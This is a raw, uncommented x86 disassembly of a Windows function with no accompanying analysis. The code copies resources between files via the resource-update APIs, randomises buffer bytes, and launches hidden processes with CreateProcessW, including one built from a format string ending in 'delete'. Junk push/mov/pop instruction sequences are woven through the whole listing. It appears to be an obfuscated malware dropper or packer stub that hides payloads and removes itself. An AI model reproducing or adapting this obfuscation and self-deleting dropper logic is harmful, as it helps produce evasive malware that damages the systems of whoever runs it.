or ecx, ebp
nop
pop ecx
mov eax, dword [ebp - 0x8c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x64], eax
mov edx, dword [ebp - 0x64]
push edx
call fcn.00418bce
add esp, 4
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0xd0]
push edx
mov eax, dword [ebp - 0xc8]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
mov esi, 0x7aa117f5
mov esi, 0x41661b66
sub esi, edx
pop esi
push 0
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x90], eax
push ebp
mov ebp, 0x55237eb3
mov ebp, 0x52f03217
or ebp, esi
pop ebp
cmp dword [ebp - 0x90], 0
jne 0x405d6b
mov edx, dword [ebp - 0xc8]
mov dword [ebp - 0x1e8], edx
mov eax, dword [ebp - 0x1e8]
push eax
call fcn.00418bd7
add esp, 4
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
mov dword [ebp - 0x118], 0x2c
jmp 0x405d86
mov ecx, dword [ebp - 0x118]
add ecx, 1
mov dword [ebp - 0x118], ecx
mov edx, dword [ebp - 0x118]
cmp edx, dword [ebp - 0x64]
jae 0x405daf
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0x118]
mov byte [eax], dl
jmp 0x405d77
push edx
add edx, ebp
mov edx, 0x2c734494
mov edx, 0x57045d41
pop edx
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0xc8]
push edx
push 0x409
push 1
push 3
mov eax, dword [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0xc8]
mov dword [ebp - 0x1d4], ecx
mov edx, dword [ebp - 0x1d4]
push edx
call fcn.00418bd7
add esp, 4
cmp dword [ebp - 0x138], 0
jne 0x405e39
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push edx
mov edx, 0x61d338bb
xor edx, esi
mov edx, 0x15bd63bd
pop edx
push 0
mov eax, dword [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x405e8b
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push ecx
mov ecx, 0x79a00ebb
sbb ecx, esi
mov ecx, 0x584205f5
pop ecx
lea ecx, [ebp - 0x390]
call fcn.004144f0
movzx ecx, al
test ecx, ecx
jne 0x4062c9
lea ecx, [ebp - 0x390]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x405f09
push eax
mov eax, 0x61db4379
xor eax, esi
mov eax, 0x3b422402
pop eax
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
mov dword [ebp - 0x4c], 1
jmp 0x405f1b
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
push eax
lea ecx, [ebp - 0xb08]
push ecx
call fcn.004181b0
add esp, 8
push eax
push 0x41b61c
lea edx, [ebp - 0x330]
push edx
call fcn.0040c1b0
add esp, 0xc
lea ecx, [ebp - 0xb08]
call fcn.0040f670
push 0x10
lea ecx, [ebp - 0x330]
call fcn.00413fd0
push eax
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x405fd3
cmp dword [ebp - 0x4c], 0x6e
jne 0x405fc1
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x330]
call fcn.0040f670
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
lea ecx, [ebp - 0x330]
call fcn.0040f670
jmp 0x405f12
cmp dword [ebp - 0x4c], 0x6e
jne 0x406021
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x330]
call fcn.0040f670
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
lea ecx, [ebp - 0x330]
call fcn.0040f670
jmp 0x40603e
push ecx
sub ecx, esi
mov ecx, 0x44191b6a
mov ecx, 0x631a445a
pop ecx
mov eax, dword [ebp - 0x8c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jne 0x4060a7
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push ebx
mov ebx, 0x16c7222a
sbb ebx, ecx
or ebx, ecx
add ebx, eax
nop
pop ebx
mov eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jne 0x40610c
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
mov edx, dword [ebp - 0x8c]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00418bce
add esp, 4
mov dword [ebp - 0x1d8], eax
mov edx, dword [ebp - 0x1d8]
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0xd0]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push edx
xor edx, ebp
and edx, edi
add edx, esp
or edx, eax
add edx, esi
xor edx, ebx
pop edx
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x90], eax
push ebx
xor ebx, edx
mov ebx, 0x1c66edf
mov ebx, 0x1f58615f
pop ebx
cmp dword [ebp - 0x90], 0
jne 0x4061ed
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x1dc], ecx
mov edx, dword [ebp - 0x1dc]
push edx
call fcn.00418bd7
add esp, 4
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push ebx
mov ebx, 0x50556d0a
sub ebx, esp
xor ebx, edx
sbb ebx, ecx
nop
pop ebx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x11c]
push ecx
push 0x409
push 1
push 0x10
mov edx, dword [ebp - 0x90]
push edx
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x1e0], eax
mov ecx, dword [ebp - 0x1e0]
push ecx
call fcn.00418bd7
add esp, 4
cmp dword [ebp - 0x138], 0
jne 0x406277
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push esi
mov esi, 0x12ca17d6
mov esi, 0x3fb681a
and esi, ebx
pop esi
push 0
mov edx, dword [ebp - 0x90]
push edx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x4062c9
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x4062fb
mov byte [ebp - 0xd], 0
push ecx
mov ecx, 0x2e4b3c2d
xor ecx, eax
mov ecx, 0x6327398e
pop ecx
push esi
or esi, esp
and esi, ebx
mov esi, 0x6e365f5a
or esi, esi
nop
pop esi
push eax
mov eax, 0x35477fa1
sbb eax, edi
or eax, esi
sbb eax, ebx
nop
pop eax
push 0x208
push 0
lea eax, [ebp - 0xfa0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0xfa0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ecx
mov ecx, 0x3747632f
mov ecx, 0x1ea23a9c
sub ecx, eax
pop ecx
push ebp
mov ebp, 0x586e2046
mov ebp, 0x355119ec
sub ebp, esi
pop ebp
push esi
mov esi, 0x5be81ebe
mov esi, 0x66300708
sbb esi, eax
pop esi
push 0x800
push 0
lea edx, [ebp - 0x19a8]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ecx
sub ecx, esi
xor ecx, ebp
sbb ecx, esi
and ecx, ebx
sub ecx, ebx
and ecx, ecx
pop ecx
push ebp
mov ebp, 0xc631d16
mov ebp, 0x5144287f
sbb ebp, eax
pop ebp
push ecx
mov ecx, 0x61e641c0
mov ecx, 0x4e935985
xor ecx, ebp
pop ecx
movzx eax, byte [ebp - 0xd]
test eax, eax
jne 0x4064c5
push esi
or esi, ebx
mov esi, 0x7e3c59f3
mov esi, 0x5c0607af
pop esi
push ebp
mov ebp, 0x30857a33
sub ebp, ecx
and ebp, ebx
or ebp, edx
nop
pop ebp
push esi
or esi, eax
sub esi, ebp
sub esi, ebx
xor esi, edx
or esi, edx
add esi, esi
pop esi
push ebx
and ebx, edi
mov ebx, 0x61e96134
add ebx, esp
xor ebx, ecx
nop
pop ebx
push edx
mov edx, 0x6bc733a9
mov edx, 0x58b8727c
sbb edx, eax
pop edx
push eax
mov eax, 0x2d093a1f
mov eax, 0x755d25a8
add eax, edi
pop eax
push ebp
mov ebp, 0x4477030e
mov ebp, 0x55bc165e
sbb ebp, ebp
pop ebp
lea ecx, [ebp - 0xfa0]
push ecx
push 0x420408
push 0x420408
lea edx, [ebp - 0xb20]
push edx
call fcn.0040c110
add esp, 0xc
mov ecx, eax
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
push 0x41b620
lea eax, [ebp - 0x19a8]
push eax
call fcn.004180a0
add esp, 0x14
lea ecx, [ebp - 0xb20]
call fcn.0040f670
push ecx
xor ecx, ebp
or ecx, esi
mov ecx, 0x4a44391a
xor ecx, edi
nop
pop ecx
push ecx
mov ecx, 0x258d2b3a
or ecx, eax
mov ecx, 0x68b13ab4
pop ecx
push edx
mov edx, 0x6af24f68
mov edx, 0x328b67f5
add edx, edi
pop edx
push edx
sbb edx, esi
and edx, ebx
and edx, esi
mov edx, 0x6f6e736a
nop
pop edx
push edi
add edi, edx
sub edi, ecx
xor edi, edi
mov edi, 0xe5f295b
nop
pop edi
jmp 0x4066a1
push str.__d____d____d_
lea ecx, [ebp - 0x258]
call fcn.0040ef10
mov dword [ebp - 0xd4], 0
jmp 0x4064f0
mov ecx, dword [ebp - 0xd4]
add ecx, 1
mov dword [ebp - 0xd4], ecx
lea ecx, [ebp - 0x258]
call fcn.00417e70
cmp dword [ebp - 0xd4], eax
jae 0x406547
push edx
sbb edx, ebp
xor edx, eax
xor edx, esp
mov edx, 0x7974c94
nop
pop edx
mov edx, dword [ebp - 0xd4]
push edx
lea ecx, [ebp - 0x258]
call fcn.0040fde0
movzx eax, word [eax]
cmp eax, 0x64
jne 0x406545
mov ecx, dword [ebp - 0xd4]
push ecx
lea ecx, [ebp - 0x258]
call fcn.0040fde0
mov edx, 0x72
mov word [eax], dx
jmp 0x4064e1
push edi
mov edi, 0x128c206b
add edi, esp
xor edi, ebx
or edi, ebx
nop
pop edi
push edi
and edi, ebx
xor edi, edx
mov edi, 0x65eb284e
or edi, esi
nop
pop edi
push edi
and edi, ecx
or edi, esi
sbb edi, esp
mov edi, 0x77043a63
nop
pop edi
push ebp
mov ebp, 0x5ed15e53
sub ebp, esi
mov ebp, 0x7f7c1706
pop ebp
push edx
mov edx, 0x155a5897
mov edx, 0x4eac7239
sbb edx, esp
pop edx
push ecx
mov ecx, 0x798f770e
add ecx, edi
add ecx, edi
sbb ecx, ecx
nop
pop ecx
mov dword [ebp - 0xd8], 0
jmp 0x4065b6
mov eax, dword [ebp - 0xd8]
add eax, 1
mov dword [ebp - 0xd8], eax
lea ecx, [ebp - 0x258]
call fcn.00417e70
cmp dword [ebp - 0xd8], eax
jae 0x406620
push esi
mov esi, 0x3d642440
mov esi, 0x40f15a4a
sbb esi, eax
pop esi
mov ecx, dword [ebp - 0xd8]
push ecx
lea ecx, [ebp - 0x258]
call fcn.0040fde0
movzx edx, word [eax]
cmp edx, 0x72
jne 0x40661e
mov eax, dword [ebp - 0xd8]
push eax
lea ecx, [ebp - 0x258]
call fcn.0040fde0
mov dword [ebp - 0x1c8], eax
mov ecx, dword [ebp - 0x1c8]
movzx edx, word [ecx]
add edx, 1
mov eax, dword [ebp - 0x1c8]
mov word [eax], dx
jmp 0x4065a7
lea ecx, [ebp - 0xfa0]
push ecx
push 0x420408
push 0x420408
lea edx, [ebp - 0xb80]
push edx
call fcn.0040c110
add esp, 0xc
mov ecx, eax
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x258]
call fcn.00413fd0
push eax
lea eax, [ebp - 0x19a8]
push eax
call fcn.004180a0
add esp, 0x14
lea ecx, [ebp - 0xb80]
call fcn.0040f670
push eax
and eax, ebp
add eax, ecx
xor eax, esp
add eax, ebp
sbb eax, ebx
xor eax, edx
pop eax
push ebp
sbb ebp, ebp
mov ebp, 0x2b890c7e
and ebp, ecx
sbb ebp, ecx
nop
pop ebp
lea ecx, [ebp - 0x258]
call fcn.0040f670
push ecx
mov ecx, 0x252f4753
sbb ecx, ebp
xor ecx, esp
or ecx, eax
nop
pop ecx
push ecx
add ecx, ebp
mov ecx, 0x69cc5bc3
sbb ecx, ebp
or ecx, ebp
nop
pop ecx
push 0x10
push 0
lea ecx, [ebp - 0x738]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0xbc4]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
add ebx, eax
sub ebx, ebx
and ebx, ebp
or ebx, edx
xor ebx, edx
sub ebx, ebx
pop ebx
mov dword [ebp - 0xbc4], 0x44
push edx
sub edx, eax
add edx, ebp
or edx, esi
mov edx, 0x206b096f
nop
pop edx
push ecx
sub ecx, ebp
mov ecx, 0x560b0684
sbb ecx, esp
add ecx, esp
nop
pop ecx
mov dword [ebp - 0xb98], 1
xor eax, eax
mov word [ebp - 0xb94], ax
push ecx
xor ecx, edx
mov ecx, 0x2e646c5c
mov ecx, 0x6a2219e8
pop ecx
lea ecx, [ebp - 0x738]
push ecx
lea edx, [ebp - 0xbc4]
push edx
push 0
push 0
push 0x4000008
push 0
push 0
push 0
lea eax, [ebp - 0x19a8]
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x1e4], eax
push edi
xor edi, esi
mov edi, 0x73696d4b
mov edi, 0x26eb7436
pop edi
cmp dword [ebp - 0x1e4], 0
jne 0x406799
push edi
mov edi, 0x36cf11e3
sbb edi, edi
mov edi, 0x28504f65
pop edi
mov dword [ebp - 0x200], 0
lea ecx, [ebp - 0xcc0]
call fcn.00410150
lea ecx, [ebp - 0x2b8]
call fcn.0040f670
lea ecx, [ebp - 0x2d0]
call fcn.0040f670
lea ecx, [ebp - 0x348]
call fcn.0040f670
lea ecx, [ebp - 0x2e8]
call fcn.0040f670
lea ecx, [ebp - 0x360]
call fcn.0040f630
lea ecx, [ebp - 0x378]
call fcn.0040f670
lea ecx, [ebp - 0x270]
call fcn.0040f630
lea ecx, [ebp - 0x1b4]
call fcn.0040f670
lea ecx, [ebp - 0x390]
call fcn.0040f670
lea ecx, [ebp - 0x16c]
call fcn.0040f670
lea ecx, [ebp - 0x578]
call fcn.0040f630
lea ecx, [ebp - 0x5a8]
call fcn.0040f630
lea ecx, [ebp - 0x288]
call fcn.0040f630
lea ecx, [ebp - 0xb4]
call fcn.0040f820
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x200]
jmp 0x406a84
push 0x208
push 0
lea ecx, [ebp - 0xfa0]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0xfa0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x800
push 0
lea eax, [ebp - 0x19a8]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xfa0]
push ecx
push 0x420408
push 0x420408
lea edx, [ebp - 0xb50]
push edx
call fcn.0040c110
add esp, 0xc
mov ecx, eax
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
push str.__s____s____s___delete_
lea eax, [ebp - 0x19a8]
push eax
call fcn.004180a0
add esp, 0x14
lea ecx, [ebp - 0xb50]
call fcn.0040f670
push 0x10
push 0
lea ecx, [ebp - 0x748]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0xc08]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebp
xor ebp, edi
sub ebp, esi
or ebp, ecx
xor ebp, edx
or ebp, ecx
xor ebp, edi
pop ebp
mov dword [ebp - 0xc08], 0x44
push esi
xor esi, esp
xor esi, ebp
mov esi, 0x20556dc8
sub esi, esp
nop
pop esi
push edi
mov edi, 0xc7d18f1
mov edi, 0x1eb32493
add edi, edx
pop edi
mov dword [ebp - 0xbdc], 1
xor eax, eax
mov word [ebp - 0xbd8], ax
push edi
sub edi, ecx
xor edi, esi
mov edi, 0x392a2dc9
sub edi, edi
nop
pop edi
lea ecx, [ebp - 0x748]
push ecx
lea edx, [ebp - 0xc08]
push edx
push 0
push 0
push 0x4000008
push 0
push 0
push 0
lea eax, [ebp - 0x19a8]
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x1ec], eax
push edx
mov edx, 0x31834bd1
mov edx, 0x9b84ec0
sbb edx, edi
pop edx
push edi
xor edi, esi
mov edi, 0x4aaf222b
mov edi, 0x741e02a7
pop edi
mov dword [ebp - 0x1f0], 0
lea ecx, [ebp - 0xcc0]
call fcn.00410150
lea ecx, [ebp - 0x2b8]
call fcn.0040f670
lea ecx, [ebp - 0x2d0]
call fcn.0040f670
lea ecx, [ebp - 0x348]
call fcn.0040f670
lea ecx, [ebp - 0x2e8]
call fcn.0040f670
lea ecx, [ebp - 0x360]
call fcn.0040f630
lea ecx, [ebp - 0x378]
call fcn.0040f670
lea ecx, [ebp - 0x270]
call fcn.0040f630
lea ecx, [ebp - 0x1b4]
call fcn.0040f670
lea ecx, [ebp - 0x390]
call fcn.0040f670
lea ecx, [ebp - 0x16c]
call fcn.0040f670
lea ecx, [ebp - 0x578]
call fcn.0040f630
lea ecx, [ebp - 0x5a8]
call fcn.0040f630
lea ecx, [ebp - 0x288]
call fcn.0040f630
lea ecx, [ebp - 0xb4]
call fcn.0040f820
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x1f0]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10